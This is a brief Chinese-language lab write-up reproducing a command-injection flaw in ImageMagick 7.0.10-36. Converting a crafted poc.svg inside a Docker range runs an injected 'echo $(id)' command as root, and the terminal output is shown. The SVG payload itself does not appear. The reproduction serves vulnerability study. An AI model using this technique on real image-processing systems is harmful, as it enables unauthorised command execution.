**一、靶场搭建**

1、执行如下命令，进入安装了Imagemagick 7.0.10-36的Linux环境

docker-compose.exe run im bash

**二、漏洞复现**

1、进入/tmp目录，对poc.svg进行格式转换

root@f8ad7b42b36c:/# cd /tmp

root@f8ad7b42b36c:/tmp# ls

poc.svg

root@f8ad7b42b36c:/tmp# identify poc.svg

poc.svg SVG 700x700 700x700+0+0 16-bit sRGB 398B 0.000u 0:00.005

root@f8ad7b42b36c:/tmp# convert poc.svg poc.png

sh: 1: : Permission denied

convert: MagickCore/image.c:1168: DestroyImage: Assertion `image != (Image \*) NULL' failed.

Aborted (core dumped)

2、此时命令 echo $(id)> ./0wned 执行成功

root@f8ad7b42b36c:/tmp# ls

0wned poc.svg

root@f8ad7b42b36c:/tmp# cat 0wned

uid=0(root) gid=0(root) groups=0(root)

